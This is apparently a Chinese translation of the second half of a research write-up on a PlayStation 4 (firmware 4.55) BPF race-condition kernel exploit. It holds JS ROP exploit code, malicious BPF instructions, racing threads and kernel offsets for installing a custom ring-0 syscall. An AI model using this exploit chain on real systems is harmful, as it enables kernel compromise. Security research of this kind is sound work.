在本文的上篇中,我们介绍了竞争条件的概念,以及数据包过滤程序的相关知识。同时,还介绍了引发竞争条件方法,以及如何替换经过验证的数据的准备知识,在本文中,我们将为读者进一步介绍利用该内核漏洞的详细方法。
设置一个有效的程序
首先,我们需要设置一个bpf_program对象,以便可以通过将其传递给ioctl()来设置一个过滤程序。bpf_program的结构如下所示:
struct bpf_program { // Size: 0x10
u_int bf_len; // 0x00
struct bpf_insn *bf_insns; // 0x08
};
请注意,bf_len保存的不是以字节为单位的程序指令大小,而是长度。这意味着,我们为bf_len指定的值,等于指令在内存中的总大小除以指令的大小,即8。
struct bpf_insn { // Size: 0x08
u_short code; // 0x00
u_char jt; // 0x02
u_char jf; // 0x03
bpf_u_int32 k; // 0x04
};
其实,有效的程序很容易编写,例如,可以先写一串NOP(无操作)伪指令,然后,在最后面加上一个“return”伪指令即可。通过查看bpf.h,我们就会发现,NOP和RET的操作码分别为0x00和0x06。
#define BPF_LD 0x00 // By specifying 0's for the args it effectively does nothing
#define BPF_RET 0x06
下面是取自通过JS ROP链实现的漏洞利用代码中的片段,用于在内存中设置一个有效的BPF程序:
**// Setup valid program
var bpf_valid_prog = malloc(0x10);
var bpf_valid_instructions = malloc(0x80);
p.write8(bpf_valid_instructions.add32(0x00), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x08), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x10), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x18), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x20), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x28), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x30), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x38), 0x00000000);
p.write4(bpf_valid_instructions.add32(0x40), 0x00000006);
p.write4(bpf_valid_instructions.add32(0x44), 0x00000000);
p.write8(bpf_valid_prog.add32(0x00), 0x00000009);
p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions);**
设置一个无效的程序
这个程序是我们的恶意代码的老窝,通过write()执行时,它会破坏栈上的内存。这个程序几乎与前面的有效程序一样简单,因为它只包含9个伪指令。我们可以滥用“LDX”和“STX”指令向堆栈中写入数据,为此,首先将我们要加载的值(32位)加载到索引寄存器中,然后将索引寄存器的值存储到临时内存的索引中,但是由于指令无效,所以实际上会写出界外,从而破坏函数的返回指针。以下简单介绍一下要在恶意过滤程序中运行的指令:
LDX X <- {lower 32-bits of stack pivot gadget address (pop rsp)}
STX M[0x1E] <- X
LDX X <- {upper 32-bits of stack pivot gadget address (pop rsp)}
STX M[0x1F] <- X
LDX X <- {lower 32-bits of kernel ROP chain fake stack address}
STX M[0x20] <- X
LDX X <- {upper 32-bits of kernel ROP chain fake stack address}
STX M[0x21] <- X
RET
请注意,mem的类型为u_int32_t,这就是执行写操作时相应增量是1而非4的原因。让我们来看看mem的完整定义:
#define BPF_MEMWORDS 16
// ...
u_int32_t mem[BPF_MEMWORDS];
请注意,该缓冲区仅分配了58个字节(共16个值,每个值占4个字节)——但我们的指令将访问索引30、31、32和33,这显然超出了该缓冲区的地址范围。由于过滤程序的代码是在验证后才进行替换的,所以系统无法捕获这个问题,所以越界写漏洞由此诞生了。
索引0x1E和0x1F(30和31)是返回地址在堆栈上的位置。通过用一个由pop rsp; ret; 组成的gadget的地址覆盖它,并将我们想要弹出的值写入索引0x20和0x21(32和33)对应的RSP寄存器中,就可以成功地将堆栈转换为用于获得ring0级别的代码执行权限的内核ROP链的伪堆栈了。
以下代码用于在内存中设置无效的恶意BPF程序:
// Setup invalid program
var entry = window.gadgets["pop rsp"];
var bpf_invalid_prog = malloc(0x10);
var bpf_invalid_instructions = malloc(0x80);
p.write4(bpf_invalid_instructions.add32(0x00), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x04), entry.low);
p.write4(bpf_invalid_instructions.add32(0x08), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x0C), 0x0000001E);
p.write4(bpf_invalid_instructions.add32(0x10), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x14), entry.hi);
p.write4(bpf_invalid_instructions.add32(0x18), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x1C), 0x0000001F);
p.write4(bpf_invalid_instructions.add32(0x20), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x24), kchainstack.low);
p.write4(bpf_invalid_instructions.add32(0x28), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x2C), 0x00000020);
p.write4(bpf_invalid_instructions.add32(0x30), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x34), kchainstack.hi);
p.write4(bpf_invalid_instructions.add32(0x38), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x3C), 0x00000021);
p.write4(bpf_invalid_instructions.add32(0x40), 0x00000006);
p.write4(bpf_invalid_instructions.add32(0x44), 0x00000001);
p.write8(bpf_invalid_prog.add32(0x00), 0x00000009);
p.write8(bpf_invalid_prog.add32(0x08), bpf_invalid_instructions);
创建和绑定设备
为了演示资源竞争的破坏作用,这里需要为/dev/bpf打开两个实例。然后,我们将这两个实例绑定到同一个有效的接口上——至于绑定到哪个接口上面,主要取决于系统的网络连接方式。如果系统使用的是有线(以太网)连接,可以绑定到“eth0”接口;如果系统使用的是wifi连接,可以绑定到“wlan0”接口。漏洞利用代码可以通过测试自动确定使用哪个接口。这里所说的测试,实际上就是尝试对给定的接口调用write(),如果该接口无效,则write()调用将失败并返回-1。如果在绑定到“eth0”接口后发生这种情况,漏洞利用代码将尝试重新绑定到“wlan0”并再次进行类似的检查。如果write()再次返回-1,那么漏洞利用代码就会停止绑定方面的尝试,并给出无法绑定设备的通知。
// Open first device and bind
var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0"));
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
throw "Failed to bind to first /dev/bpf device!";
}
}
然后对第二个设备重复相同的过程。
设置并行的过滤程序
为了引发内存破坏行为,我们需要让两个并行运行的线程在各自的设备上不断设置过滤程序。最终,有效的过滤程序的内存将被free()函数所释放并重新分配,直至被无效过滤程序所破坏。为此,各个线程需要执行以下操作(伪代码):
**// 0x8010427B = BIOCSETWF
void threadOne() // Sets a valid program
{
for(;;)
{
ioctl(fd1, 0x8010427B, bpf_valid_program);
}
}
void threadTwo() // Sets an invalid program
{
for(;;)
{
ioctl(fd2, 0x8010427B, bpf_invalid_program);
}
}**
触发代码执行
到目前为止,我们已经能够破坏过滤程序并植入我们的无效指令了,接下来,我们需要让过滤程序运行起来,从而通过被覆盖的返回地址来触发代码执行了。由于我们希望该过滤程序提供“写入”功能,因此,bpfwrite()自然是完成该操作的理想之选。这意味着,我们还需要运行第三个线程,让它不断对第一个bpf设备执行write()函数。当该过滤程序遭到破坏后,接下来的write()调用将针对无效过滤程序,从而导致堆栈内存被破坏,并跳转到我们指定的任意地址,这样,我们就可以在ring0中执行代码了。
void threadThree() // Tries to trigger code execution
{
void *scratch = (void *)malloc(0x200);
for(;;)
{
uint64_t n = write(fd1, scratch, 0x200);
if(n == 0x200))
{
break;
}
}
}
安装“kexec()”系统调用
我们的kROP链的最终目标,是安装一个自定义的系统调用,以便可以在内核模式下执行代码。为了与4.05版本的代码保持一致,我们将再次使用系统调用#11。该系统调用的签名如下所示:
sys_kexec(void *code, void *uap);
安装系统调用的过程并不复杂,我们只需要在sysent表中添加一个表项即可。sysent表中的表项具有以下结构:
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry; /* DTrace entry ID for systrace. */
u_int32_t sy_return; /* DTrace return ID for systrace. */
u_int32_t sy_flags; /* General flags for system calls. */
u_int32_t sy_thrcnt;
};
虽然上面的成员变量很多,但是我们只需关注sy_narg和sy_call。在这里,需要将sy_narg设为2(一个用于执行地址,另一个用于传递参数)。另外,由于要执行的代码的地址将通过RDI寄存器进行传递(请记住,虽然第一个参数通常借助RDI寄存器进行传递,但是在系统调用中,RDI寄存器将被线程描述符td占用),所以,我们需要将sy_call成员设置为将jmp传递到RSI寄存器的gadget。其实,jmp qword ptr [rsi]就是一个满足上述要求的gadget,同时,该gadget可以从内核中找到,偏移量为0x13a39f。
LOAD:FFFFFFFF8233A39F FF 26 jmp qword ptr [rsi]
在4.55版本内核的转储中,我们可以看到syscall 11的sysent表项的偏移量为0xC2B8A0。正如你所看到的,这里的实现函数是nosys,所以它是一个理想的覆盖对象。
_61000010:FFFFFFFF8322B8A0 dq 0 ; Syscall #11
_61000010:FFFFFFFF8322B8A8 dq offset nosys
_61000010:FFFFFFFF8322B8B0 dq 0
_61000010:FFFFFFFF8322B8B8 dq 0
_61000010:FFFFFFFF8322B8C0 dq 0
_61000010:FFFFFFFF8322B8C8 dq 400000000h
通过将2写入到0xC2B8A0处,将[kernel base + 0x13a39f] 写入到0xC2B8A8处,并将100000000写入到0xC2BBC8处(我们希望将标志从SY_THR_ABSENT改为SY_THR_STATIC),我们就可以成功插入一个自定义系统调用,之后通过该系统调用,我们就可以在内核模式下执行指定的任意代码了!
索尼的“补丁”
实际上,索尼并没有解决这个安全问题,不过,他们也确实知道BPF会导致一些不可思议的问题。通过简单的堆栈跟踪,他们发现bpfwrite()的返回地址遭到了破坏。不过,索尼似乎无法弄清楚到底是咋回事,所以采取了一种简单粗暴的做法:把bpfwrite()完全从内核中剥离出来——#_SonyWay。幸运的是,经过几小时的搜索,似乎没有找到可以利用这个过滤程序破坏漏洞的其他原语,所以,这个问题就这样归于沉寂了。
打补丁前的BPF cdevsw:
bpf_devsw dd 17122009h ; d_version
; DATA XREF: sub_FFFFFFFFA181F140+1B↑o
dd 80000000h ; d_flags
dq 0FFFFFFFFA1C92250h ; d_name
dq 0FFFFFFFFA181F1B0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFFA16FD1C0h ; d_close
dq 0FFFFFFFFA181F290h ; d_read
dq 0FFFFFFFFA181F5D0h ; d_write
dq 0FFFFFFFFA181FA40h ; d_ioctl
dq 0FFFFFFFFA1820B30h ; d_poll
dq 0FFFFFFFFA16FF050h ; d_mmap
dq 0FFFFFFFFA16FF970h ; d_strategy
dq 0FFFFFFFFA16FF050h ; d_dump
dq 0FFFFFFFFA1820C90h ; d_kqfilter
dq 0 ; d_purge
dq 0FFFFFFFFA16FF050h ; d_mmap_single
dd -5E900FB0h, -1, 0 ; d_spare0
dd 3 dup(0) ; d_spare1
dq 0 ; d_devs
dd 0 ; d_spare2
dq 0 ; gianttrick
dq 4EDE80000000000h ; postfree_list
打过补丁后的BPF cdevsw:
bpf_devsw dd 17122009h ; d_version
; DATA XREF: sub_FFFFFFFF9725DB40+1B↑o
dd 80000000h ; d_flags
dq 0FFFFFFFF979538ACh ; d_name
dq 0FFFFFFFF9725DBB0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFF9738D230h ; d_close
dq 0FFFFFFFF9725DC90h ; d_read
dq 0h ; d_write
dq 0FFFFFFFF9725E050h ; d_ioctl
dq 0FFFFFFFF9725F0B0h ; d_poll
dq 0FFFFFFFF9738F050h ; d_mmap
dq 0FFFFFFFF9738F920h ; d_strategy
dq 0FFFFFFFF9738F050h ; d_dump
dq 0FFFFFFFF9725F210h ; d_kqfilter
dq 0 ; d_purge
dq 0FFFFFFFF9738F050h ; d_mmap_single
dd 9738F050h, 0FFFFFFFFh, 0; d_spare0
dd 3 dup(0) ; d_spare1
dq 0 ; d_devs
dd 0 ; dev_spare2
dq 0 ; gianttrick
dq 51EDE0000000000h ; postfree_list
请注意,d_write的数据已经不是有效的函数指针了。
小结
这是一个非常酷的漏洞。不过,由于非特权用户无法利用该漏洞,所以,该漏洞在大多数其他系统上没有太大的利用价值,但当需要从root权限提升至ring0代码执行权限的时候,这仍不失为一种有效方法。另外,我认为这篇文章也很值得一读,因为这里介绍的攻击策略是非常独特的(使用竞争条件触发堆栈溢出漏洞)。同时,本文也介绍了针对该漏洞的利用方法:覆盖堆栈上的返回指针的策略,这是所有处于学习阶段的安全研究人员都应该熟练掌握的一种简单利用方法。需要强调的是,这种攻击策略是非常古老的,实际上,这可能是最古老的一种攻击策略——但是,稍加改动,该策略仍然可以用于现代的漏洞利用代码中。
致谢
qwertyoruiopz
参考资料
Watson FreeBSD Kernel Cross Reference
Microsoft Support : Description of race conditions and deadlocks